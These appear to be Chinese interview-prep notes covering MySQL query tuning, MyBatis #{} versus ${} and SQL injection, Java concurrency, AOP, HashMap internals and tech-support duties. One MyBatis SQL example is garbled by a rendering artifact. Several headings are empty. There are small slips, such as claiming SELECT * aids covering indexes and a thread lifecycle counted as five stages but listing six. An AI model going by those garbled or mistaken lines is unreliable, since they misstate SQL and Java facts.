https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/
1.websocket简单介绍
WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。
WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在 WebSocket API 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。
在 WebSocket API 中,浏览器和服务器只需要做一个握手的动作,然后,浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。
重点:
RocketMQ,与kafka的区别,重点看看三者的区别
type列,连接类型。一个好的SQL语句至少要达到range级别。杜绝出现all级别。
key列,使用到的索引名。如果没有选择索引,值是NULL。可以采取强制索引方式。
key_len列,索引长度。
rows列,扫描行数。该值是个预估值。
extra列,详细说明。注意,常见的不太友好的值,如下:Using filesort,Using temporary。
MySQL对于IN做了相应的优化,即将IN中的常量全部存储在一个数组里面,而且这个数组是排好序的。但是如果数值较多,产生的消耗也是比较大的。再例如:select id from t where num in(1,2,3) 对于连续的数值,能用between就不要用in了;再或者使用连接来替换。
SELECT*增加很多不必要的消耗(CPU、IO、内存、网络带宽);增加了使用覆盖索引的可能性;当表结构发生改变时,前断也需要更新。所以要求直接在select后面接上字段名。
这是为了使EXPLAIN中type列达到const类型
如果加上limit1,查找到就不用继续往后找了
可以在程序中排序
or两边的字段中,如果有一个不是索引字段,而其他条件也不是索引字段,会造成该查询不走索引的情况。很多时候使用union all或者是union(必要的时候)的方式来代替“or”会得到更好的效果。
union和union all的差异主要是前者需要将结果集合并后再进行唯一性过滤操作,这就会涉及到排序,增加大量的CPU运算,加大资源消耗及延迟。当然,union all的前提条件是两个结果集没有重复数据。
select * from 表A where id in (select id from 表B)
上面SQL语句相当于
select * from 表A where exists(select * from 表B where 表B.id=表A.id)
区分in和exists主要是造成了驱动顺序的改变(这是性能变化的关键),如果是exists,那么以外层表为驱动表,先被访问,如果是IN,那么先执行子查询。所以IN适合于外表大而内表小的情况;EXISTS适合于外表小而内表大的情况。
NIO,
IO流
List集合的排序
java中 volatile 和 synchronized 有什么区别?
答:
33
主要问一些项目如何做的,
分布式锁如何应用
问题:
springBoot 中,前端如何进行访问后端接口?
答: http://ip:port/uri ,注意:uri指的是, @RequestMapping(value = “addCsdTask”, method = RequestMethod.POST) 如果使用的是浏览器,那请求方式应该使用的是GET
Mybatis 中 ${} 和 #{} 的区别?
1、在MyBatis 的映射配置文件中,动态传递参数有两种方式:
(1)#{} 占位符
(2)${} 拼接符
2、#{} 和 ${} 的区别
(1)
1)#{} 为参数占位符 ,即sql 预编译
2)${} 为字符串替换,即 sql 拼接
(2)
1)#{}:动态解析 -> 预编译 -> 执行
2)${}:动态解析 -> 编译 -> 执行
(3)
1)#{} 的变量替换是在DBMS 中
2)${} 的变量替换是在 DBMS 外
(4)
1)变量替换后,#{} 对应的变量自动加上单引号 ‘’
2)变量替换后,${} 对应的变量不会加上单引号 ‘’
(5)
1)#{} 能防止sql 注入
2)${} 不能防止sql 注入
3、#{} 和 ${} 的实例:假设传入参数为 1
(1)开始
1)#{}:select * from t_user where uid=#{uid}
2) : s e l e c t ∗ f r o m t u s e r w h e r e u i d = ′ {}:select * from t_user where uid= ' :select∗fromtuserwhereuid=′{uid}’
(2)然后
1)#{}:select * from t_user where uid= ?
2)${}:select * from t_user where uid= ‘1’
(3)最后
1)#{}:select * from t_user where uid= ‘1’
2)${}:select * from t_user where uid= ‘1’
4、#{} 和 ${} 的大括号中的值
(1)单个参数的情形
1)#{}
无MyBatis 默认值,可任意,且与参数名无关
2)${}
<1>使用 MyBatis 默认值 value,即 ${value}
<2>使用自定义参数名,前提:在映射器接口方法的参数前加注解@Param(“”)
(2)多个参数的情形
1)#{}
<1>使用MyBatis 默认值 arg0、arg1、arg2 … 或 param1、param2、param3 …
<2>使用自定义参数名,前提:在映射器接口方法的参数前加注解@Param(“”)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z0PJnoPK-1683356262135)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-20230301161435511.png)]
2)${}
<1>使用MyBatis 默认值 arg0、arg1、arg2 … 或 param1、param2、param3 …
<2>使用自定义参数名,前提:在映射器接口方法的参数前加注解@Param(“”)
注:@Param(“”) 是 @Param(value=“”) 的简写
5、#{} 和 ${} 在使用中的技巧和建议
(1)不论是单个参数,还是多个参数,一律都建议使用注解@Param(“”)
(2)能用 #{} 的地方就用 #{},不用或少用 ${}
(3)表名作参数时,必须用 ${}。如:select * from ${tableName}
(4)order by 时,必须用 ${}。如:select * from t_user order by ${columnName}
(5)使用 ${} 时,要注意何时加或不加单引号,即 和 ′ {} 和 ' 和′{}’
笔试题:
面试题:
选一个自己最擅长的方面进行交流:比如spring, springBoot, springMVC 或者数据库方面,或者 分布式锁的解决方案 or 分布式事务的解决方案
一条SQL如何优化,MySQL在执行一条查询操作时很慢,如何进行定位,如何调优?
byte, short, int , long, float, double, char, boolean
深拷贝和浅拷贝是用来描述对象或者对象数组这种引用数据类型的复制场景的。
浅拷贝:就是只复制某个对象的指针,而不是复制对象本身。
这种复制方式意味着两个引用指针被复制对象的同一块内存地址。
深拷贝,会完全创建一个一模一样 的新对象,新对象和老对象不共享内存,也就意味着对新对象的修改不会影响老对象的值。
在java里面,无论是深拷贝还是浅拷贝,都需要通过实现Cloneable接口,并实现 clone()方法。然后我们可以在clone()方法里实现浅拷贝或者深拷贝的逻辑。
实现深拷贝的方法有很多,比如
通过序列化的方式实现,也就是把一个对象先序列化一遍,然后再反过来序列化回来,就会得到一个完整的新对象。
在 clone()方法里面重写克隆逻辑,也就是对克隆对象的内部的引用变量再进行一次克隆。
以上就是我对深拷贝和浅拷贝的理解。
AOP(Aspect-Oriented Programming:面向切面编程) 能够将那些与业务无关,却为业务模块
所共同调用的逻辑或责任(例如事务处理、日志管理、权限控制等)封装起来,便于减少系统
的重复代码,降低模块间的耦合度,并有利于未来的可拓展性和可维护性。
aop 底层是采用动态代理机制实现的:接口+实现类
(1)如果要代理的对象,实现了某个接口,那么Spring AOP 会使用JDK Proxy,去创建代理对象。
(2)没有实现接口的对象,就无法使用JDK Proxy 去进行代理了,这时候Spring AOP 会使用Cglib 生成一个被代理对象的子类来作为代理。
就是由代理创建出一个和impl 实现类平级的一个对象,但是这个对象不是一个真正的对象,只是一个代理对象,但它可以实现和impl 相同的功能,这个就是aop 的横向机制原理,这样就不需要修改源代码。
从功能角度来看,Lock 和Synchronized 都是Java 中用来解决线程安全问题的工具。
从特性来看,
Synchronized 是Java 中的同步关键字,Lock 是J.U.C 包中提供的接口,这个接口有很多实现类,其中就包括ReentrantLock 重入锁
Synchronized 可以通过两种方式来控制锁的粒度,
一种是把synchronized 关键字修饰在方法层面,
另一种是修饰在代码块上,并且我们可以通过Synchronized 加锁对象的声明周期来控制锁的作用范围,比如锁对象是静态对象或者类对象,那么这个锁就是全
局锁。
如果锁对象是普通实例对象,那这个锁的范围取决于这个实例的声明周期。
Lock 锁的粒度是通过它里面提供的**lock()和unlock()**方法决定的,包裹在这两个方法之间的代码, 能够保证线程安全性。而锁的作用域取决于Lock 实例的生命周期。
Lock 比Synchronized 的灵活性更高,Lock 可以自主决定什么时候加锁,什么时候释放锁,只需要调用 lock()和unlock() 这两个方法就行,同时Lock 还提供了非阻塞的竞争锁方法 tryLock()方法,这个方法通过返回 true/false 来告诉当前线程是否已经有其他线程正在使用锁。
Synchronized 由于是关键字,所以它无法实现非阻塞竞争锁的方法,另外,Synchronized 锁的释放是被动的,就是当Synchronized 同步代码块执行完以后或者代码出现异常时才会释放。
Lock 提供了公平锁和非公平锁的机制,公平锁是指线程竞争锁资源时,如果已经有其他线程正在排队等待锁释放,那么当前竞争锁资源的线程无法插队。而非公平锁,就是不管是否有线程在排队等待锁,它都会尝试去竞争一次锁。
Synchronized 只提供了一种非公平锁的实现。
从性能方面来看,Synchronized 和Lock 在性能方面相差不大,在实现上会有一些区别,Synchronized 引入了偏向锁、轻量级锁、重量级锁以及锁升级的方式
来优化加锁的性能,而Lock 中则用到了自旋锁的方式来实现性能优化。
线程的生命周期包含5 个阶段,包括:新建、就绪、运行、阻塞、销毁。
(1) 新建(NEW):就是刚使用new 方法,new 出来的线程;
(2) 就绪(RUNNABLE):就是调用的线程的start()方法后,这时候线程处于等待 CPU 分配资源阶段,谁先抢的CPU 资源,谁开始执行;
(3) 运行(RUNNING):当就绪的线程被调度并获得CPU 资源时,便进入运行状态,run 方法定义了线程的操作和功能;
(4) 阻塞(BLOCKED):在运行状态的时候,可能因为某些原因导致运行状态的线程变成了阻塞状态,比如 sleep()、wait() 之后线程就处于了阻塞状态,这个时候需要其他机制将处于阻塞状态的线程唤醒,比如调用notify 或者notifyAll()方法。唤醒的线程不会立刻执行 run 方法,它们要再次等待 CPU 分配资源进入运行状态;
(5) Waiting(无限等待):一个线程在等待另一个线程执行一个(唤醒)动作时,该线程进入Waiting 状态。进入这个状态后不能自动唤醒,必须等待另一个线程调用 notify 方法或者 notifyAll 方法时才能够被唤醒。
(6) 销毁(TERMINATED):如果线程正常执行完毕后或线程被提前强制性的终止或出现异常导致结束,那么线程就要被销毁,释放资源;
JDK 1.8之前:
1)JDK1.8 之前HashMap 底层是数组和链表结合在一起使用也就是链表散列。
2)HashMap 通过key 的hashCode 经过扰动函数处理过后得到hash 值,然后通过(n - 1)& hash 判断当前元素存放的位置(这里的n 指的是数组的长度),如果当前位置存在元素的话,就判断该元素与要存入的元素的hash 值以及key 是否相同,如果相同的话,直接覆盖,不相同就通过拉链法解决冲突。
3)所谓扰动函数指的就是HashMap 的hash 方法。使用hash 方法也就是扰动函数是为了防止一些实现比较差的hashCode() 方法换句话说使用扰动函数之后可以减少碰撞。
JDK 1.8之后:
当链表长度大于阈值(默认为 8)时,会首先调用 treeifyBin()方法。这个方法会根据HashMap 数组来决定是否转换为红黑树。只有当数组长度大于或者等于64 的情况下,才会执行转换红黑树操作,以减少搜索时间。否则,就是只是执行resize() 方法对数组扩容。
一般情况下,当元素数量超过阈值时便会触发扩容。每次扩容的容量都是之前容量的2 倍。HashMap 的容量是有上限的,必须小于1<<30,即1073741824。如果容量超出了这个数,则不再增长,且阈值会被设置为Integer.MAX_VALUE。
JDK7 中的扩容机制:
JDK8 的扩容机制:
第一轮:
集合:
list的长度默认:
问到 jvm
技术支持工程师应具备的专业技能:
(1) 操作系统知识Win98、Win2000、WinXP、Unix、Linux
(2) 数据库知识Oracle、SysBase、Sql的各种基本知识,以及数据库备份、优化、故障恢复等。
(3) 网络及网络安全网络设备、网络规划、网络安全。
(4) 中间件产品Weblogic、TOMCAT等。
(5) 硬件知识IBM、HP的主流服务器等
(6) 数据存储存储方式、存储介质。
(7) 扫描仪扫描仪是公司产品网上认证的配套硬件。主要包括虹光、中晶、汉王等扫描仪。
(8) TCP/IP,可以去看《CCNA学习指南》专业的网络工程师所具备的知识,
mysql面试 :参考链接:mysql面试-完整版
数据库的备份:
MySQL对数据库的备份与恢复
1.技术支持:
(1)对客户端操作系统及常用应用软件进行调试、管理、更新、升级、故障检测及排除;
(2)接听技术支持电话,尽快判断故障并进行排除;
(3)负责公司客户的呼叫中心系统的安装与维护;
(4)负责所有IT基础设施的支持及维护,确保IT系统的平稳运行;
2.软硬件维护:
(1)对设备硬件进行检测、故障诊断和维修协调;
(2)通过设备的使用状况和外观判断设备的运行情况,对于可能出现的问题,与用户进行沟通,在不影响用户工作的情况下,安排保养或维修的日程;
(3)对计算机的软件系统进行必要的检查、维护;
(4)承担软件售前支持与用户安装实施;
(5)对建立的软件库进行更新;
3.病毒防护系统管理:
(1)安装、管理、维护客户端计算机的病毒防护系统;
(2)定期对服务器上的病毒库进行更新,培训用户计算机病毒的防护知识以及防病毒软件的使用;
(3)建立用户的防病毒意识,升级、更新、优化用户已有的病毒防治系统;
(4)定期提供病毒检测、告警及最新预防措施,提供紧急病毒故障处理服务,对突发的新计算机病毒进行及时响应;
4.设备维护管理:
(1)处理打印机、传真机等办公设备在使用中出现的异常状态,如无法排除故障及时与经销商联系,尽快解决;
(2)注意耗材的使用情况,及时更换,确保设备的正常使用;
5.数据、文档整理:
(1)协助相关人员完成各种IT设备的信息资料收集和统计;
(2)提供技术支持及系统运营支持的问题反馈报告;
(3)编写和维护信息系统日常管理的技术文档。
==========================================================================